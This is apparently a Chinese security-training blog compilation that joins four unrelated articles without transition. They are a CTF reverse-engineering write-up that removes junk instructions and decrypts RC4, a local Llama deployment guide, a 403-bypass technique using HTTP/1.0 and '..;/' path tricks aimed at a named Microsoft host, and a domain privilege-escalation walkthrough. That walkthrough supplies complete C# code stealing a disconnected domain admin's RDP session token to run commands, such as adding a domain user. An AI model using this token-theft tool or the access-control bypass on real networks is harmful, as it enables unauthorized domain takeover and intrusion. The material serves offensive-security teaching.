题目载体为具有漏洞的小型软件,部分题目提供源代码,要求攻击者发现并攻击软件中存在的漏洞。
2.1 程序测试
首先拿到这道题目,查壳看架构,elf64
放到虚拟机中运行一下
plz input your flag
8888888888888
wrong
ida64反编译,发现软件进行了去符号处理,最直白就是没有main()函数。
但是ida自动帮我们定位到了系统入口函数start()。
然后我们查字符串 plz、wrong,均无法查到相关字符串
可见程序对静态分析做了很大的操作,防止一眼顶真。
然后我们回到系统入口函数start,F5反编译。
程序无法完全反编译,并且发现init和fini均无法正常识别。
进入main函数,即sub_405559(),无可用信息。
2.2 花指令对抗
看汇编
很明显,程序做的混淆对抗是加了花指令。
花指令实质就是一串垃圾指令,它与程序本身的功能无关,并不影响程序本身的逻辑。在软件保护中,花指令被作为一种手段来增加静态分析的难度。
花指令关键在于对堆栈变化以及函数调用的操作。强硬的动态调试能力也可以无视花,直接en看。
对于此花指令,我们只需要将call $+5、 retn nop 即可
(该软件的每个有用的function都加入了此花指令)
E8 00 00 00 00 call $+5
C3 retn
此时F5反编译,程序明显可读了
2.3 虚函数
我们重命名一下,方便理解
可见程序还使用了虚函数重定位的技术。
下面我们进行动态调试,具体跟进函数。
F7进入
又发现了花,我们nop掉
然后进入下一个函数进行重复的操作
再往下程序结束,但是我们并没有看到密文比较的地方。
我们对rc4的两个函数进行交叉引用,看哪里调用了他们呢
.data.rel.ro
这个节段是只读数据段的重定位段,在链接时重定位,里面放的就是我们的虚函数表。
看到下面还有一个sub_405CAA(),我们点击跟进。
至此,我们找到了程序的所有逻辑。
2.4 RC4解密
提取密文
25CD54AF511C58D3A84B4F56EC835DD4F6474A6FE073B0A5A8C317815E2BF4F671EA2FFFA8639957
提取密钥
921C2B1FBAFBA2FF07697D77188C
rc4_enc()函数还有个 ^23
得解。
自己搭建专属AI:Llama大模型私有化部署
前言
AI新时代,提高了生产力且能帮助用户快速解答问题,现在用的比较多的是Openai、Claude,为了保证个人隐私数据,所以尝试本地(Mac M3)搭建Llama模型进行沟通。
Gpt4all
安装比较简单,根据 https://github.com/nomic-ai/gpt4all 下载客户端软件即可,打开是这样的:
然后选择并下载模型文件,这里以Llama为例:
下载模型文件完,选择模型文件则可以进行对话了:
也可以利用基于 nomic-embed-text嵌入模型,把文档转成向量方便语义检索和匹配。选择文档所在的目录:
然后对话中选择对应的文档即可:
如果文件太大,需要在设置适当添加token大小,太大也不好,处理会慢且机器会卡死:
gpt4all使用起来还是比较方便的,但是有几个缺点:有些能在huggingface.co搜到的模型在gpt4all上面搜不到、退出应用后聊天记录会消失。
Ollama
安装也很方便,下载 https://ollama.com/download/Ollama-darwin.zip ,然后运行如下命令即可启动Llama:
ollama run llama3.2
为了方便图形化使用,可以借助 https://github.com/open-webui/open-webui 完整图形化的使用,启动也很简单,直接使用官方仓库中的命令即可:
docker run -d -p 3000:8080 --add-host=host.docker.internal:host-gateway -v open-webui:/app/backend/data --name open-webui --restart always ghcr.io/open-webui/open-webui:main
然后访问本地的3000端口即可:
open-webui的原理也比较简单,Ollama启动后会在本地监听11434端口,open-webui也是利用这个端口来和Ollama通信完成的图形化使用。open-webui还可以多选模型一起回答:
整体测试下来,发现Llama3.2对于文档分析差点意思,给他提供一个pdf文档,也看不出个啥来。但是上面的gpt4all,然后通过nomic-embed-text模型嵌入后好点。
总结
本文演示了通过不同手段来运行Llama模型,来达到本地使用LLM的目的。
海外的bug-hunters,不一样的403bypass
一种绕过403的新技术,跟大家分享一下。研究HTTP协议已经有一段时间了。发现HTTP协议的1.0版本可以绕过403。于是开始对lyncdiscover.microsoft.com域做FUZZ,并且发现了几个403Forbidden的文件。
(访问fsip.svc为403)
在经过尝试后,得出一个结论:当清除所有header头的值时,服务器会对客户端作出响应。
结论1:
将HTTP协议版本更改为1.0,而且不要在标题中设置任何值。
结论2:
如果服务器和任何其他安全机制没有以正确的方式配置,不把Host放在header头内时,服务器将会自己把目标地址放在header中,这会导致服务器将我们的请求认做本地请求。
(访问fsip.svc为200)
用同样的方式尝试了另一个文件,并且再次成功bypass。
(403)
(200)
还要补充一点:你也可以用同样的方式去绕过CDN获取服务器IP。
例如:
如你所见,在Location中,它在返回中显示了域本身的地址。
再次使用相同的方法并发送请求时,显示了服务器的主地址。
以上技术已经被添加到burp工具当中:
https://portswigger.net/bappstore/444407b96d9c4de0adb7aed89e826122------------------------------
以上这种思路虽然已经被添加到了burp插件,但我们依旧需要去学习了解插件运行背后的逻辑,而不只是当一个脚本小子。
尤其是在做黑盒测试中,秉持改变原有数据结构的FUZZ思路进行一切可能的尝试,才会挖掘出更有趣的漏洞。
在burp权限绕过插件中,除了以上尝试,还有诸多修改url请求的尝试,例如:
https://www.example.com..;/api/v1/users
https://www.example.com/api..;/v1/users
https://www.example.com/api/v1..;/users
这些尝试本质也是在破坏数据原有结构,利用后端,服务器等处理特性实现绕过。
其实除此外还可以进行任何可能的尝试:https://www.example.com/api/v1/users
例如将v1改成v2,利用通配符代替数字,或者添加多余的字符串等等操作。
利用断开的域管理员RDP会话提权
前言
当域内管理员登录过攻击者可控的域内普通机器运维或者排查结束后,退出3389时没有退出账号而是直接关掉了远程桌面,那么会产生哪些风险呢?有些读者第一个想到的肯定就是抓密码,但是如果抓不到明文密码又或者无法pth呢?
通过计划任务完成域内提权
首先模拟域管登录了攻击者可控的普通域内机器并且关掉了3389远程桌面:
然后攻击者可以通过如下方式进行域内提权,已添加域内用户为例,流程为新建计划任务-选择域管用户-执行命令:
选择搜索用户位置为域内:
选择登录进来的域管用户:
设置启动的命令:
然后运行计划任务,可以看到成功添加了域内用户:
有些读者可能会问了,那是不是选择任意域内用户都行,实际上是不行的,会提示用户未登录:
原理分析
原理实际上也很简单,就是获取进程的token,然后利用CreateProcessAsUser api完成模拟用户token进行进程创建即可。下面提供完整代码,如下代码核心是利用WTSQueryUserToken获取rdp session id token,然后使用CreateProcessAsUser完成进程的创建:
using System;
using System.Runtime.InteropServices;
using System.ComponentModel;
using System.Security.Principal;
class Program
{
[DllImport("wtsapi32.dll", SetLastError = true)]
static extern bool WTSQueryUserToken(int sessionId, out IntPtr Token);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool CloseHandle(IntPtr hObject);
[DllImport("userenv.dll", SetLastError = true)]
static extern bool CreateEnvironmentBlock(out IntPtr lpEnvironment, IntPtr hToken, bool bInherit);
[DllImport("userenv.dll", SetLastError = true)]
static extern bool DestroyEnvironmentBlock(IntPtr lpEnvironment);
[DllImport("advapi32.dll", SetLastError = true)]
static extern bool CreateProcessAsUser(
IntPtr hToken,
string lpApplicationName,
string lpCommandLine,
IntPtr lpProcessAttributes,
IntPtr lpThreadAttributes,
bool bInheritHandles,
uint dwCreationFlags,
IntPtr lpEnvironment,
string lpCurrentDirectory,
ref STARTUPINFO lpStartupInfo,
out PROCESS_INFORMATION lpProcessInformation);
[StructLayout(LayoutKind.Sequential)]
struct STARTUPINFO
{
public int cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public uint dwX;
public uint dwY;
public uint dwXSize;
public uint dwYSize;
public uint dwXCountChars;
public uint dwYCountChars;
public uint dwFillAttribute;
public uint dwFlags;
public short wShowWindow;
public short cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
[StructLayout(LayoutKind.Sequential)]
struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public uint dwProcessId;
public uint dwThreadId;
}
static void Main(string[] args)
{
if (args.Length < 2)
{
Console.WriteLine("Usage: RdpProcessLauncher.exe <sessionId> <command>");
return;
}
int sessionId;
if (!int.TryParse(args[0], out sessionId))
{
Console.WriteLine("Invalid session ID");
return;
}
string command = args[1];
IntPtr userToken = IntPtr.Zero;
IntPtr envBlock = IntPtr.Zero;
try
{
// Get user token for the specified session
bool tokenResult = WTSQueryUserToken(sessionId, out userToken);
if (!tokenResult)
{
int error = Marshal.GetLastWin32Error();
throw new Win32Exception(error);
}
// Create environment block
bool envResult = CreateEnvironmentBlock(out envBlock, userToken, false);
if (!envResult)
{
int error = Marshal.GetLastWin32Error();
throw new Win32Exception(error);
}
// Prepare startup info
STARTUPINFO startupInfo = new STARTUPINFO();
startupInfo.cb = Marshal.SizeOf(startupInfo);
startupInfo.lpDesktop = "winsta0\\default";
PROCESS_INFORMATION processInfo = new PROCESS_INFORMATION();
// Create process as user
bool processResult = CreateProcessAsUser(
userToken,
null,
command,
IntPtr.Zero,
IntPtr.Zero,
false,
0x00000400, // CREATE_UNICODE_ENVIRONMENT
envBlock,
null,
ref startupInfo,
out processInfo);
if (!processResult)
{
int error = Marshal.GetLastWin32Error();
throw new Win32Exception(error);
}
Console.WriteLine("Process launched successfully. PID: {0}", processInfo.dwProcessId);
// Clean up process handles
CloseHandle(processInfo.hProcess);
CloseHandle(processInfo.hThread);
}
catch (Exception ex)
{
Console.WriteLine("Error: {0}", ex.Message);
}
finally
{
// Clean up resources
if (envBlock != IntPtr.Zero)
{
DestroyEnvironmentBlock(envBlock);
}
if (userToken != IntPtr.Zero)
{
CloseHandle(userToken);
}
}
}
}
编译后进行尝试:
成功完成了token窃取并添加了域内用户。
总结
本文通过演示窃取RDP Session Token完成域内提权的目的。
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

